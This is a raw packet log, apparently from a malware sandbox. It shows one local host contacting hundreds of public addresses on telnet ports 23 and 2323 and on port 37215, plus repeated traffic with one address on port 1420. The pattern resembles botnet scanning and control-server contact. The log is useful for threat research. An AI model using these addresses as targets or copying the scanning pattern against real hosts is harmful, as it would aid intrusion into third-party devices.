Nov 3, 2024 15:33:03.929064035 CET	37215	4847	41.180.219.52	192.168.2.14
Nov 3, 2024 15:33:03.929063082 CET	4847	37215	192.168.2.14	41.42.215.195
Nov 3, 2024 15:33:03.929069042 CET	37215	4847	197.216.154.102	192.168.2.14
Nov 3, 2024 15:33:03.929076910 CET	37215	4847	197.36.139.148	192.168.2.14
Nov 3, 2024 15:33:03.929076910 CET	4847	37215	192.168.2.14	156.135.217.231
Nov 3, 2024 15:33:03.929088116 CET	37215	4847	156.78.137.222	192.168.2.14
Nov 3, 2024 15:33:03.929092884 CET	37215	4847	41.134.108.253	192.168.2.14
Nov 3, 2024 15:33:03.929097891 CET	37215	4847	41.61.150.120	192.168.2.14
Nov 3, 2024 15:33:03.929097891 CET	4847	37215	192.168.2.14	197.61.187.172
Nov 3, 2024 15:33:03.929100990 CET	4847	37215	192.168.2.14	197.119.11.122
Nov 3, 2024 15:33:03.929112911 CET	4847	37215	192.168.2.14	197.216.154.102
Nov 3, 2024 15:33:03.929120064 CET	4847	37215	192.168.2.14	197.36.139.148
Nov 3, 2024 15:33:03.929140091 CET	4847	37215	192.168.2.14	41.180.219.52
Nov 3, 2024 15:33:03.929152012 CET	4847	37215	192.168.2.14	41.134.108.253
Nov 3, 2024 15:33:03.929152012 CET	4847	37215	192.168.2.14	41.61.150.120
Nov 3, 2024 15:33:03.929157972 CET	4847	37215	192.168.2.14	156.78.137.222
Nov 3, 2024 15:33:03.929332018 CET	37215	4847	197.41.15.165	192.168.2.14
Nov 3, 2024 15:33:03.929342031 CET	37215	4847	156.199.170.190	192.168.2.14
Nov 3, 2024 15:33:03.929368019 CET	4847	37215	192.168.2.14	197.41.15.165
Nov 3, 2024 15:33:03.929387093 CET	4847	37215	192.168.2.14	156.199.170.190
Nov 3, 2024 15:33:03.929429054 CET	37215	4847	156.1.130.235	192.168.2.14
Nov 3, 2024 15:33:03.929439068 CET	37215	4847	197.138.185.204	192.168.2.14
Nov 3, 2024 15:33:03.929446936 CET	37215	4847	156.2.6.232	192.168.2.14
Nov 3, 2024 15:33:03.929456949 CET	37215	4847	41.235.35.64	192.168.2.14
Nov 3, 2024 15:33:03.929459095 CET	4847	37215	192.168.2.14	156.1.130.235
Nov 3, 2024 15:33:03.929460049 CET	4847	37215	192.168.2.14	197.138.185.204
Nov 3, 2024 15:33:03.929466009 CET	37215	4847	197.78.117.94	192.168.2.14
Nov 3, 2024 15:33:03.929476023 CET	1420	32964	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:03.929485083 CET	37215	4847	41.34.10.136	192.168.2.14
Nov 3, 2024 15:33:03.929488897 CET	4847	37215	192.168.2.14	156.2.6.232
Nov 3, 2024 15:33:03.929488897 CET	4847	37215	192.168.2.14	41.235.35.64
Nov 3, 2024 15:33:03.929492950 CET	37215	4847	41.127.3.156	192.168.2.14
Nov 3, 2024 15:33:03.929498911 CET	4847	37215	192.168.2.14	197.78.117.94
Nov 3, 2024 15:33:03.929502964 CET	37215	4847	41.8.84.91	192.168.2.14
Nov 3, 2024 15:33:03.929512978 CET	37215	4847	41.32.37.224	192.168.2.14
Nov 3, 2024 15:33:03.929514885 CET	32964	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:03.929522038 CET	4847	37215	192.168.2.14	41.34.10.136
Nov 3, 2024 15:33:03.929523945 CET	4847	37215	192.168.2.14	41.127.3.156
Nov 3, 2024 15:33:03.929543018 CET	4847	37215	192.168.2.14	41.32.37.224
Nov 3, 2024 15:33:03.929543018 CET	4847	37215	192.168.2.14	41.8.84.91
Nov 3, 2024 15:33:03.929560900 CET	37215	4847	197.20.42.178	192.168.2.14
Nov 3, 2024 15:33:03.929570913 CET	37215	4847	156.1.170.244	192.168.2.14
Nov 3, 2024 15:33:03.929579973 CET	37215	4847	156.4.214.96	192.168.2.14
Nov 3, 2024 15:33:03.929588079 CET	37215	4847	156.59.102.174	192.168.2.14
Nov 3, 2024 15:33:03.929589987 CET	4847	37215	192.168.2.14	197.20.42.178
Nov 3, 2024 15:33:03.929598093 CET	37215	4847	197.164.89.7	192.168.2.14
Nov 3, 2024 15:33:03.929604053 CET	4847	37215	192.168.2.14	156.1.170.244
Nov 3, 2024 15:33:03.929608107 CET	37215	4847	156.94.148.233	192.168.2.14
Nov 3, 2024 15:33:03.929609060 CET	4847	37215	192.168.2.14	156.4.214.96
Nov 3, 2024 15:33:03.929616928 CET	37215	4847	156.119.241.204	192.168.2.14
Nov 3, 2024 15:33:03.929625034 CET	4847	37215	192.168.2.14	156.59.102.174
Nov 3, 2024 15:33:03.929625988 CET	37215	4847	156.193.178.68	192.168.2.14
Nov 3, 2024 15:33:03.929632902 CET	4847	37215	192.168.2.14	197.164.89.7
Nov 3, 2024 15:33:03.929640055 CET	4847	37215	192.168.2.14	156.94.148.233
Nov 3, 2024 15:33:03.929642916 CET	37215	4847	197.187.250.122	192.168.2.14
Nov 3, 2024 15:33:03.929651976 CET	37215	4847	156.150.62.47	192.168.2.14
Nov 3, 2024 15:33:03.929652929 CET	4847	37215	192.168.2.14	156.119.241.204
Nov 3, 2024 15:33:03.929661989 CET	37215	4847	41.76.146.142	192.168.2.14
Nov 3, 2024 15:33:03.929662943 CET	4847	37215	192.168.2.14	156.193.178.68
Nov 3, 2024 15:33:03.929666996 CET	4847	37215	192.168.2.14	197.187.250.122
Nov 3, 2024 15:33:03.929671049 CET	37215	4847	41.31.200.50	192.168.2.14
Nov 3, 2024 15:33:03.929681063 CET	37215	4847	197.183.140.111	192.168.2.14
Nov 3, 2024 15:33:03.929687023 CET	4847	37215	192.168.2.14	156.150.62.47
Nov 3, 2024 15:33:03.929689884 CET	4847	37215	192.168.2.14	41.76.146.142
Nov 3, 2024 15:33:03.929704905 CET	37215	4847	41.183.241.104	192.168.2.14
Nov 3, 2024 15:33:03.929709911 CET	4847	37215	192.168.2.14	41.31.200.50
Nov 3, 2024 15:33:03.929709911 CET	4847	37215	192.168.2.14	197.183.140.111
Nov 3, 2024 15:33:03.929714918 CET	37215	4847	197.58.59.58	192.168.2.14
Nov 3, 2024 15:33:03.929723978 CET	37215	4847	156.37.255.112	192.168.2.14
Nov 3, 2024 15:33:03.929738998 CET	37215	4847	156.232.188.232	192.168.2.14
Nov 3, 2024 15:33:03.929740906 CET	4847	37215	192.168.2.14	41.183.241.104
Nov 3, 2024 15:33:03.929742098 CET	4847	37215	192.168.2.14	197.58.59.58
Nov 3, 2024 15:33:03.929749012 CET	37215	4847	156.142.139.206	192.168.2.14
Nov 3, 2024 15:33:03.929752111 CET	4847	37215	192.168.2.14	156.37.255.112
Nov 3, 2024 15:33:03.929758072 CET	37215	4847	41.14.7.56	192.168.2.14
Nov 3, 2024 15:33:03.929769039 CET	37215	4847	41.206.10.27	192.168.2.14
Nov 3, 2024 15:33:03.929775000 CET	4847	37215	192.168.2.14	156.142.139.206
Nov 3, 2024 15:33:03.929776907 CET	4847	37215	192.168.2.14	156.232.188.232
Nov 3, 2024 15:33:03.929781914 CET	4847	37215	192.168.2.14	41.14.7.56
Nov 3, 2024 15:33:03.929800987 CET	4847	37215	192.168.2.14	41.206.10.27
Nov 3, 2024 15:33:03.931545019 CET	32964	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:03.934819937 CET	1420	32964	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:03.934969902 CET	32964	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:03.936268091 CET	1420	32964	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:03.939788103 CET	1420	32964	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:04.903728008 CET	4833	2323	192.168.2.14	5.200.49.243
Nov 3, 2024 15:33:04.903743982 CET	4833	23	192.168.2.14	124.141.72.85
Nov 3, 2024 15:33:04.903743982 CET	4833	23	192.168.2.14	57.85.120.191
Nov 3, 2024 15:33:04.903743982 CET	4833	23	192.168.2.14	200.34.142.13
Nov 3, 2024 15:33:04.903752089 CET	4833	23	192.168.2.14	195.63.40.239
Nov 3, 2024 15:33:04.903755903 CET	4833	23	192.168.2.14	66.158.213.142
Nov 3, 2024 15:33:04.903759003 CET	4833	23	192.168.2.14	48.90.55.106
Nov 3, 2024 15:33:04.903764963 CET	4833	23	192.168.2.14	178.57.23.177
Nov 3, 2024 15:33:04.903767109 CET	4833	2323	192.168.2.14	221.217.18.21
Nov 3, 2024 15:33:04.903773069 CET	4833	23	192.168.2.14	173.21.171.18
Nov 3, 2024 15:33:04.903773069 CET	4833	23	192.168.2.14	61.9.242.55
Nov 3, 2024 15:33:04.903779030 CET	4833	23	192.168.2.14	58.11.159.114
Nov 3, 2024 15:33:04.903806925 CET	4833	23	192.168.2.14	100.8.69.38
Nov 3, 2024 15:33:04.903850079 CET	4833	23	192.168.2.14	182.246.39.222
Nov 3, 2024 15:33:04.903851986 CET	4833	23	192.168.2.14	37.21.179.160
Nov 3, 2024 15:33:04.903878927 CET	4833	23	192.168.2.14	159.53.244.172
Nov 3, 2024 15:33:04.903878927 CET	4833	23	192.168.2.14	32.32.71.119
Nov 3, 2024 15:33:04.903882027 CET	4833	23	192.168.2.14	154.234.219.105
Nov 3, 2024 15:33:04.903892994 CET	4833	23	192.168.2.14	93.222.129.85
Nov 3, 2024 15:33:04.903898954 CET	4833	23	192.168.2.14	159.83.189.162
Nov 3, 2024 15:33:04.903917074 CET	4833	23	192.168.2.14	60.121.81.202
Nov 3, 2024 15:33:04.903918028 CET	4833	2323	192.168.2.14	157.68.158.168
Nov 3, 2024 15:33:04.903923035 CET	4833	23	192.168.2.14	142.255.96.193
Nov 3, 2024 15:33:04.903937101 CET	4833	23	192.168.2.14	83.79.222.197
Nov 3, 2024 15:33:04.903939962 CET	4833	23	192.168.2.14	83.229.151.22
Nov 3, 2024 15:33:04.903959990 CET	4833	23	192.168.2.14	206.97.26.0
Nov 3, 2024 15:33:04.903959990 CET	4833	23	192.168.2.14	143.24.152.172
Nov 3, 2024 15:33:04.903975010 CET	4833	23	192.168.2.14	23.85.254.129
Nov 3, 2024 15:33:04.903975964 CET	4833	23	192.168.2.14	213.113.225.142
Nov 3, 2024 15:33:04.904001951 CET	4833	23	192.168.2.14	108.58.161.106
Nov 3, 2024 15:33:04.904026031 CET	4833	23	192.168.2.14	125.162.19.87
Nov 3, 2024 15:33:04.904031992 CET	4833	2323	192.168.2.14	117.130.118.135
Nov 3, 2024 15:33:04.904045105 CET	4833	23	192.168.2.14	136.132.67.9
Nov 3, 2024 15:33:04.904047012 CET	4833	23	192.168.2.14	168.122.205.227
Nov 3, 2024 15:33:04.904089928 CET	4833	23	192.168.2.14	176.181.224.114
Nov 3, 2024 15:33:04.904089928 CET	4833	23	192.168.2.14	122.18.213.13
Nov 3, 2024 15:33:04.904092073 CET	4833	23	192.168.2.14	169.240.97.22
Nov 3, 2024 15:33:04.904093027 CET	4833	23	192.168.2.14	60.97.139.250
Nov 3, 2024 15:33:04.904089928 CET	4833	23	192.168.2.14	99.68.245.206
Nov 3, 2024 15:33:04.904092073 CET	4833	23	192.168.2.14	81.148.226.67
Nov 3, 2024 15:33:04.904102087 CET	4833	2323	192.168.2.14	166.114.195.163
Nov 3, 2024 15:33:04.904133081 CET	4833	23	192.168.2.14	156.136.60.220
Nov 3, 2024 15:33:04.904139996 CET	4833	23	192.168.2.14	114.25.54.242
Nov 3, 2024 15:33:04.904139996 CET	4833	23	192.168.2.14	176.110.249.231
Nov 3, 2024 15:33:04.904176950 CET	4833	23	192.168.2.14	139.199.198.94
Nov 3, 2024 15:33:04.904187918 CET	4833	23	192.168.2.14	84.0.30.83
Nov 3, 2024 15:33:04.904187918 CET	4833	23	192.168.2.14	77.151.135.107
Nov 3, 2024 15:33:04.904200077 CET	4833	23	192.168.2.14	66.215.68.58
Nov 3, 2024 15:33:04.904201031 CET	4833	23	192.168.2.14	144.91.90.166
Nov 3, 2024 15:33:04.904211044 CET	4833	23	192.168.2.14	74.110.101.68
Nov 3, 2024 15:33:04.904222012 CET	4833	2323	192.168.2.14	108.23.39.191
Nov 3, 2024 15:33:04.904227018 CET	4833	23	192.168.2.14	210.51.227.156
Nov 3, 2024 15:33:04.904231071 CET	4833	23	192.168.2.14	136.118.198.225
Nov 3, 2024 15:33:04.904237986 CET	4833	23	192.168.2.14	60.236.199.147
Nov 3, 2024 15:33:04.904248953 CET	4833	23	192.168.2.14	63.210.252.79
Nov 3, 2024 15:33:04.904256105 CET	4833	23	192.168.2.14	53.69.211.121
Nov 3, 2024 15:33:04.904261112 CET	4833	23	192.168.2.14	98.238.94.48
Nov 3, 2024 15:33:04.904268980 CET	4833	23	192.168.2.14	90.110.12.202
Nov 3, 2024 15:33:04.904278040 CET	4833	23	192.168.2.14	97.146.131.231
Nov 3, 2024 15:33:04.904288054 CET	4833	2323	192.168.2.14	62.55.74.20
Nov 3, 2024 15:33:04.904293060 CET	4833	23	192.168.2.14	60.7.142.179
Nov 3, 2024 15:33:04.904294014 CET	4833	23	192.168.2.14	86.199.157.50
Nov 3, 2024 15:33:04.904326916 CET	4833	23	192.168.2.14	106.70.159.58
Nov 3, 2024 15:33:04.904330015 CET	4833	23	192.168.2.14	75.195.99.74
Nov 3, 2024 15:33:04.904339075 CET	4833	23	192.168.2.14	194.179.150.205
Nov 3, 2024 15:33:04.904349089 CET	4833	23	192.168.2.14	201.32.126.56
Nov 3, 2024 15:33:04.904361963 CET	4833	23	192.168.2.14	59.92.5.166
Nov 3, 2024 15:33:04.904362917 CET	4833	23	192.168.2.14	101.48.54.91
Nov 3, 2024 15:33:04.904367924 CET	4833	23	192.168.2.14	5.42.105.157
Nov 3, 2024 15:33:04.904373884 CET	4833	23	192.168.2.14	57.215.44.26
Nov 3, 2024 15:33:04.904373884 CET	4833	2323	192.168.2.14	154.2.246.20
Nov 3, 2024 15:33:04.904401064 CET	4833	23	192.168.2.14	209.237.55.219
Nov 3, 2024 15:33:04.904401064 CET	4833	23	192.168.2.14	167.11.207.133
Nov 3, 2024 15:33:04.904407978 CET	4833	23	192.168.2.14	102.138.130.178
Nov 3, 2024 15:33:04.904427052 CET	4833	23	192.168.2.14	77.131.119.1
Nov 3, 2024 15:33:04.904428005 CET	4833	23	192.168.2.14	177.170.35.55
Nov 3, 2024 15:33:04.904438019 CET	4833	23	192.168.2.14	2.110.22.42
Nov 3, 2024 15:33:04.904478073 CET	4833	23	192.168.2.14	209.2.137.176
Nov 3, 2024 15:33:04.904480934 CET	4833	23	192.168.2.14	222.158.212.91
Nov 3, 2024 15:33:04.904489994 CET	4833	23	192.168.2.14	188.30.150.30
Nov 3, 2024 15:33:04.904494047 CET	4833	2323	192.168.2.14	85.78.74.194
Nov 3, 2024 15:33:04.904495001 CET	4833	23	192.168.2.14	124.58.78.7
Nov 3, 2024 15:33:04.904530048 CET	4833	23	192.168.2.14	5.42.44.210
Nov 3, 2024 15:33:04.904530048 CET	4833	23	192.168.2.14	195.23.123.40
Nov 3, 2024 15:33:04.904535055 CET	4833	23	192.168.2.14	130.244.222.18
Nov 3, 2024 15:33:04.904535055 CET	4833	23	192.168.2.14	172.213.37.4
Nov 3, 2024 15:33:04.904588938 CET	4833	23	192.168.2.14	155.27.182.9
Nov 3, 2024 15:33:04.904588938 CET	4833	23	192.168.2.14	96.49.233.194
Nov 3, 2024 15:33:04.904588938 CET	4833	23	192.168.2.14	187.87.221.156
Nov 3, 2024 15:33:04.904616117 CET	4833	2323	192.168.2.14	44.72.215.161
Nov 3, 2024 15:33:04.904618979 CET	4833	23	192.168.2.14	39.35.87.120
Nov 3, 2024 15:33:04.904618979 CET	4833	23	192.168.2.14	110.181.150.96
Nov 3, 2024 15:33:04.904633999 CET	4833	23	192.168.2.14	105.131.239.161
Nov 3, 2024 15:33:04.904650927 CET	4833	23	192.168.2.14	148.243.51.79
Nov 3, 2024 15:33:04.904660940 CET	4833	23	192.168.2.14	139.174.198.121
Nov 3, 2024 15:33:04.904660940 CET	4833	23	192.168.2.14	210.227.227.106
Nov 3, 2024 15:33:04.904664993 CET	4833	23	192.168.2.14	152.225.113.248
Nov 3, 2024 15:33:04.904666901 CET	4833	23	192.168.2.14	175.44.195.216
Nov 3, 2024 15:33:04.904666901 CET	4833	23	192.168.2.14	61.135.229.56
Nov 3, 2024 15:33:04.904678106 CET	4833	23	192.168.2.14	83.116.211.136
Nov 3, 2024 15:33:04.904680967 CET	4833	23	192.168.2.14	58.214.102.107
Nov 3, 2024 15:33:04.904681921 CET	4833	2323	192.168.2.14	48.227.176.2
Nov 3, 2024 15:33:04.904695988 CET	4833	23	192.168.2.14	165.245.234.126
Nov 3, 2024 15:33:04.904706955 CET	4833	23	192.168.2.14	76.162.75.177
Nov 3, 2024 15:33:04.904706955 CET	4833	23	192.168.2.14	176.1.146.173
Nov 3, 2024 15:33:04.904721022 CET	4833	23	192.168.2.14	94.254.245.36
Nov 3, 2024 15:33:04.904721022 CET	4833	23	192.168.2.14	68.80.131.47
Nov 3, 2024 15:33:04.904741049 CET	4833	23	192.168.2.14	210.149.32.125
Nov 3, 2024 15:33:04.904742002 CET	4833	23	192.168.2.14	32.66.199.163
Nov 3, 2024 15:33:04.904742002 CET	4833	23	192.168.2.14	178.157.168.235
Nov 3, 2024 15:33:04.904752970 CET	4833	23	192.168.2.14	178.128.13.127
Nov 3, 2024 15:33:04.904757023 CET	4833	2323	192.168.2.14	39.106.100.76
Nov 3, 2024 15:33:04.904767990 CET	4833	23	192.168.2.14	8.132.214.71
Nov 3, 2024 15:33:04.904777050 CET	4833	23	192.168.2.14	156.190.159.48
Nov 3, 2024 15:33:04.904781103 CET	4833	23	192.168.2.14	166.29.122.104
Nov 3, 2024 15:33:04.904788971 CET	4833	23	192.168.2.14	101.249.222.251
Nov 3, 2024 15:33:04.904795885 CET	4833	23	192.168.2.14	113.152.226.173
Nov 3, 2024 15:33:04.904797077 CET	4833	23	192.168.2.14	114.115.12.231
Nov 3, 2024 15:33:04.904805899 CET	4833	23	192.168.2.14	19.76.85.34
Nov 3, 2024 15:33:04.904825926 CET	4833	2323	192.168.2.14	59.182.137.248
Nov 3, 2024 15:33:04.904827118 CET	4833	23	192.168.2.14	129.7.252.159
Nov 3, 2024 15:33:04.904844999 CET	4833	23	192.168.2.14	85.111.19.53
Nov 3, 2024 15:33:04.904849052 CET	4833	23	192.168.2.14	120.203.233.202
Nov 3, 2024 15:33:04.904855013 CET	4833	23	192.168.2.14	154.232.251.175
Nov 3, 2024 15:33:04.904881001 CET	4833	23	192.168.2.14	70.19.223.90
Nov 3, 2024 15:33:04.904881001 CET	4833	23	192.168.2.14	174.53.11.90
Nov 3, 2024 15:33:04.904892921 CET	4833	23	192.168.2.14	203.88.14.247
Nov 3, 2024 15:33:04.904896975 CET	4833	23	192.168.2.14	208.101.181.200
Nov 3, 2024 15:33:04.904896975 CET	4833	23	192.168.2.14	124.67.38.34
Nov 3, 2024 15:33:04.904900074 CET	4833	23	192.168.2.14	42.21.68.14
Nov 3, 2024 15:33:04.904913902 CET	4833	23	192.168.2.14	46.147.100.38
Nov 3, 2024 15:33:04.904927015 CET	4833	23	192.168.2.14	4.178.165.116
Nov 3, 2024 15:33:04.904930115 CET	4833	23	192.168.2.14	98.185.142.113
Nov 3, 2024 15:33:04.904934883 CET	4833	23	192.168.2.14	191.111.208.61
Nov 3, 2024 15:33:04.904949903 CET	4833	23	192.168.2.14	32.59.98.202
Nov 3, 2024 15:33:04.904951096 CET	4833	2323	192.168.2.14	93.85.226.130
Nov 3, 2024 15:33:04.904962063 CET	4833	23	192.168.2.14	100.226.228.129
Nov 3, 2024 15:33:04.904963017 CET	4833	23	192.168.2.14	66.179.36.80
Nov 3, 2024 15:33:04.904966116 CET	4833	23	192.168.2.14	206.101.190.81
Nov 3, 2024 15:33:04.904979944 CET	4833	23	192.168.2.14	205.158.110.126
Nov 3, 2024 15:33:04.904980898 CET	4833	2323	192.168.2.14	32.238.67.83
Nov 3, 2024 15:33:04.904990911 CET	4833	23	192.168.2.14	198.43.147.245
Nov 3, 2024 15:33:04.905014992 CET	4833	23	192.168.2.14	126.161.82.178
Nov 3, 2024 15:33:04.905015945 CET	4833	23	192.168.2.14	112.0.126.100
Nov 3, 2024 15:33:04.905021906 CET	4833	23	192.168.2.14	67.90.202.22
Nov 3, 2024 15:33:04.905023098 CET	4833	23	192.168.2.14	84.250.72.195
Nov 3, 2024 15:33:04.905023098 CET	4833	23	192.168.2.14	5.13.85.215
Nov 3, 2024 15:33:04.905040979 CET	4833	23	192.168.2.14	209.71.80.164
Nov 3, 2024 15:33:04.905040979 CET	4833	23	192.168.2.14	90.53.56.91
Nov 3, 2024 15:33:04.905055046 CET	4833	2323	192.168.2.14	158.41.200.150
Nov 3, 2024 15:33:04.905056953 CET	4833	23	192.168.2.14	42.37.150.245
Nov 3, 2024 15:33:04.905060053 CET	4833	23	192.168.2.14	218.146.141.134
Nov 3, 2024 15:33:04.905061007 CET	4833	23	192.168.2.14	48.1.203.9
Nov 3, 2024 15:33:04.905070066 CET	4833	23	192.168.2.14	19.200.228.227
Nov 3, 2024 15:33:04.905070066 CET	4833	23	192.168.2.14	101.205.123.21
Nov 3, 2024 15:33:04.905080080 CET	4833	23	192.168.2.14	98.100.208.141
Nov 3, 2024 15:33:04.905086994 CET	4833	23	192.168.2.14	8.198.49.92
Nov 3, 2024 15:33:04.905101061 CET	4833	23	192.168.2.14	93.3.198.251
Nov 3, 2024 15:33:04.905109882 CET	4833	23	192.168.2.14	154.58.69.181
Nov 3, 2024 15:33:04.905118942 CET	4833	23	192.168.2.14	41.189.19.34
Nov 3, 2024 15:33:04.906014919 CET	36646	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:04.907072067 CET	42326	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:04.908205032 CET	44440	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:04.908746958 CET	2323	4833	5.200.49.243	192.168.2.14
Nov 3, 2024 15:33:04.908761024 CET	23	4833	195.63.40.239	192.168.2.14
Nov 3, 2024 15:33:04.908771992 CET	23	4833	124.141.72.85	192.168.2.14
Nov 3, 2024 15:33:04.908782959 CET	23	4833	57.85.120.191	192.168.2.14
Nov 3, 2024 15:33:04.908801079 CET	4833	2323	192.168.2.14	5.200.49.243
Nov 3, 2024 15:33:04.908801079 CET	23	4833	66.158.213.142	192.168.2.14
Nov 3, 2024 15:33:04.908808947 CET	4833	23	192.168.2.14	195.63.40.239
Nov 3, 2024 15:33:04.908813000 CET	23	4833	200.34.142.13	192.168.2.14
Nov 3, 2024 15:33:04.908824921 CET	2323	4833	221.217.18.21	192.168.2.14
Nov 3, 2024 15:33:04.908837080 CET	23	4833	48.90.55.106	192.168.2.14
Nov 3, 2024 15:33:04.908852100 CET	4833	23	192.168.2.14	124.141.72.85
Nov 3, 2024 15:33:04.908852100 CET	4833	23	192.168.2.14	57.85.120.191
Nov 3, 2024 15:33:04.908868074 CET	4833	23	192.168.2.14	66.158.213.142
Nov 3, 2024 15:33:04.908874989 CET	4833	23	192.168.2.14	200.34.142.13
Nov 3, 2024 15:33:04.908883095 CET	4833	2323	192.168.2.14	221.217.18.21
Nov 3, 2024 15:33:04.908905983 CET	4833	23	192.168.2.14	48.90.55.106
Nov 3, 2024 15:33:04.909183025 CET	23	4833	178.57.23.177	192.168.2.14
Nov 3, 2024 15:33:04.909194946 CET	23	4833	173.21.171.18	192.168.2.14
Nov 3, 2024 15:33:04.909198046 CET	33708	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:04.909209013 CET	23	4833	61.9.242.55	192.168.2.14
Nov 3, 2024 15:33:04.909235001 CET	23	4833	58.11.159.114	192.168.2.14
Nov 3, 2024 15:33:04.909235954 CET	4833	23	192.168.2.14	178.57.23.177
Nov 3, 2024 15:33:04.909238100 CET	4833	23	192.168.2.14	173.21.171.18
Nov 3, 2024 15:33:04.909246922 CET	4833	23	192.168.2.14	61.9.242.55
Nov 3, 2024 15:33:04.909246922 CET	23	4833	100.8.69.38	192.168.2.14
Nov 3, 2024 15:33:04.909266949 CET	23	4833	182.246.39.222	192.168.2.14
Nov 3, 2024 15:33:04.909281969 CET	4833	23	192.168.2.14	58.11.159.114
Nov 3, 2024 15:33:04.909284115 CET	4833	23	192.168.2.14	100.8.69.38
Nov 3, 2024 15:33:04.909286976 CET	23	4833	37.21.179.160	192.168.2.14
Nov 3, 2024 15:33:04.909303904 CET	23	4833	159.53.244.172	192.168.2.14
Nov 3, 2024 15:33:04.909317017 CET	23	4833	154.234.219.105	192.168.2.14
Nov 3, 2024 15:33:04.909320116 CET	4833	23	192.168.2.14	37.21.179.160
Nov 3, 2024 15:33:04.909323931 CET	4833	23	192.168.2.14	182.246.39.222
Nov 3, 2024 15:33:04.909347057 CET	23	4833	32.32.71.119	192.168.2.14
Nov 3, 2024 15:33:04.909353971 CET	4833	23	192.168.2.14	154.234.219.105
Nov 3, 2024 15:33:04.909364939 CET	23	4833	93.222.129.85	192.168.2.14
Nov 3, 2024 15:33:04.909378052 CET	23	4833	159.83.189.162	192.168.2.14
Nov 3, 2024 15:33:04.909392118 CET	4833	23	192.168.2.14	159.53.244.172
Nov 3, 2024 15:33:04.909392118 CET	4833	23	192.168.2.14	32.32.71.119
Nov 3, 2024 15:33:04.909399033 CET	23	4833	60.121.81.202	192.168.2.14
Nov 3, 2024 15:33:04.909411907 CET	4833	23	192.168.2.14	93.222.129.85
Nov 3, 2024 15:33:04.909413099 CET	2323	4833	157.68.158.168	192.168.2.14
Nov 3, 2024 15:33:04.909425020 CET	23	4833	142.255.96.193	192.168.2.14
Nov 3, 2024 15:33:04.909435034 CET	23	4833	83.79.222.197	192.168.2.14
Nov 3, 2024 15:33:04.909445047 CET	23	4833	83.229.151.22	192.168.2.14
Nov 3, 2024 15:33:04.909456015 CET	4833	23	192.168.2.14	159.83.189.162
Nov 3, 2024 15:33:04.909456968 CET	23	4833	143.24.152.172	192.168.2.14
Nov 3, 2024 15:33:04.909471035 CET	23	4833	206.97.26.0	192.168.2.14
Nov 3, 2024 15:33:04.909471989 CET	4833	23	192.168.2.14	60.121.81.202
Nov 3, 2024 15:33:04.909471989 CET	4833	23	192.168.2.14	142.255.96.193
Nov 3, 2024 15:33:04.909482002 CET	4833	23	192.168.2.14	83.229.151.22
Nov 3, 2024 15:33:04.909482956 CET	23	4833	23.85.254.129	192.168.2.14
Nov 3, 2024 15:33:04.909487009 CET	4833	2323	192.168.2.14	157.68.158.168
Nov 3, 2024 15:33:04.909487963 CET	4833	23	192.168.2.14	83.79.222.197
Nov 3, 2024 15:33:04.909497023 CET	23	4833	213.113.225.142	192.168.2.14
Nov 3, 2024 15:33:04.909502983 CET	4833	23	192.168.2.14	143.24.152.172
Nov 3, 2024 15:33:04.909509897 CET	23	4833	108.58.161.106	192.168.2.14
Nov 3, 2024 15:33:04.909511089 CET	4833	23	192.168.2.14	23.85.254.129
Nov 3, 2024 15:33:04.909512997 CET	4833	23	192.168.2.14	206.97.26.0
Nov 3, 2024 15:33:04.909527063 CET	23	4833	125.162.19.87	192.168.2.14
Nov 3, 2024 15:33:04.909540892 CET	4833	23	192.168.2.14	108.58.161.106
Nov 3, 2024 15:33:04.909543037 CET	4833	23	192.168.2.14	213.113.225.142
Nov 3, 2024 15:33:04.909548998 CET	2323	4833	117.130.118.135	192.168.2.14
Nov 3, 2024 15:33:04.909563065 CET	23	4833	136.132.67.9	192.168.2.14
Nov 3, 2024 15:33:04.909565926 CET	4833	23	192.168.2.14	125.162.19.87
Nov 3, 2024 15:33:04.909576893 CET	23	4833	168.122.205.227	192.168.2.14
Nov 3, 2024 15:33:04.909590006 CET	23	4833	122.18.213.13	192.168.2.14
Nov 3, 2024 15:33:04.909591913 CET	4833	2323	192.168.2.14	117.130.118.135
Nov 3, 2024 15:33:04.909601927 CET	23	4833	60.97.139.250	192.168.2.14
Nov 3, 2024 15:33:04.909610987 CET	4833	23	192.168.2.14	168.122.205.227
Nov 3, 2024 15:33:04.909611940 CET	4833	23	192.168.2.14	136.132.67.9
Nov 3, 2024 15:33:04.909615040 CET	23	4833	176.181.224.114	192.168.2.14
Nov 3, 2024 15:33:04.909627914 CET	23	4833	169.240.97.22	192.168.2.14
Nov 3, 2024 15:33:04.909646034 CET	2323	4833	166.114.195.163	192.168.2.14
Nov 3, 2024 15:33:04.909656048 CET	23	4833	99.68.245.206	192.168.2.14
Nov 3, 2024 15:33:04.909657955 CET	4833	23	192.168.2.14	122.18.213.13
Nov 3, 2024 15:33:04.909666061 CET	4833	23	192.168.2.14	60.97.139.250
Nov 3, 2024 15:33:04.909667969 CET	23	4833	81.148.226.67	192.168.2.14
Nov 3, 2024 15:33:04.909667969 CET	4833	23	192.168.2.14	169.240.97.22
Nov 3, 2024 15:33:04.909679890 CET	23	4833	156.136.60.220	192.168.2.14
Nov 3, 2024 15:33:04.909682989 CET	4833	23	192.168.2.14	176.181.224.114
Nov 3, 2024 15:33:04.909687996 CET	4833	2323	192.168.2.14	166.114.195.163
Nov 3, 2024 15:33:04.909706116 CET	4833	23	192.168.2.14	99.68.245.206
Nov 3, 2024 15:33:04.909708023 CET	4833	23	192.168.2.14	81.148.226.67
Nov 3, 2024 15:33:04.909713984 CET	4833	23	192.168.2.14	156.136.60.220
Nov 3, 2024 15:33:04.909917116 CET	23	4833	114.25.54.242	192.168.2.14
Nov 3, 2024 15:33:04.909936905 CET	23	4833	176.110.249.231	192.168.2.14
Nov 3, 2024 15:33:04.909967899 CET	4833	23	192.168.2.14	114.25.54.242
Nov 3, 2024 15:33:04.909976006 CET	4833	23	192.168.2.14	176.110.249.231
Nov 3, 2024 15:33:04.909977913 CET	23	4833	139.199.198.94	192.168.2.14
